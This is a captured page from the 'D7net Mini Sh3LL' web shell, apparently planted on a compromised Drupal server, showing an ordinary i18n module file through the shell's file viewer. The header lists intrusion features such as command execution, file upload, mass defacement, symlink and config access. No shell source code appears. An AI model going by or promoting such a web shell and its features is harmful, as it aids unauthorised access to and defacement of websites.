D7net Mini Sh3LL v1

 
OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /var/www/html/hpsc/../hpsclab/js/../../hpsc/css/../../antarctic-drupal-7.89/sites/all/modules/i18n/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : /var/www/html/hpsc/../hpsclab/js/../../hpsc/css/../../antarctic-drupal-7.89/sites/all/modules/i18n/i18n.variable.inc
<?php
/**
 * @file
 * Variable information
 */

/**
 * Implements hook_variable_group_info().
 */
function i18n_variable_group_info() {
  $groups['i18n'] = array(
    'title' => t('Multilingual settings'),
    'description' => t('Mixed options for multilingual sites.'),
    'access' => 'administer site configuration',
    'path' => 'admin/config/regional/i18n',
  );
  return $groups;
}

/**
 * Implements hook_variable_info().
 */
function i18n_variable_info($options = array()) {
  $variables['i18n_language_list'] = array(
    'title' => t('Languages for content', array(), $options),
    'description' => t('Determines which languages will be allowed for content creation.', array(), $options),
    'type' => 'select',
    'options callback' => 'i18n_variable_option_list',
    'default' => I18N_LANGUAGE_ENABLED,
    'group' => 'i18n',
  );
  return $variables;
}

/**
 * Implements hook_variable_type_info().
 */
function i18n_variable_type_info() {
  // Multiple variable per language options
  $types['multiple_language'] = array(
    'title' => t('Multiple language'),
    'element' => array('#type' => 'fieldset'),
    'build callback' => 'variable_build_multiple',
    'format callback' => 'variable_format_multiple',
    'element callback' => 'variable_form_element_multiple',
    'value callback' => 'variable_multiple_get_value',
    'default callback' => 'variable_multiple_get_default',
    'multiple callback' => 'i18n_variable_multiple_language_options',
    'language list' => I18N_LANGUAGE_EXTENDED,
  );
  return $types;
}

/**
 * Options for content languages
 */
function i18n_variable_option_list($variable, $options = array()) {
  return array(
    I18N_LANGUAGE_ENABLED => t('Enabled languages only.', array(), $options),
    I18N_LANGUAGE_EXTENDED => t('All defined languages will be allowed.', array(), $options),
  );
}

/**
 * Callback for multiple per-language variables
 */
function i18n_variable_multiple_language_options($variable, $options = array()) {
  return i18n_language_list('name', $variable['language list']);
}

AnonSec - 2021 | Recode By D7net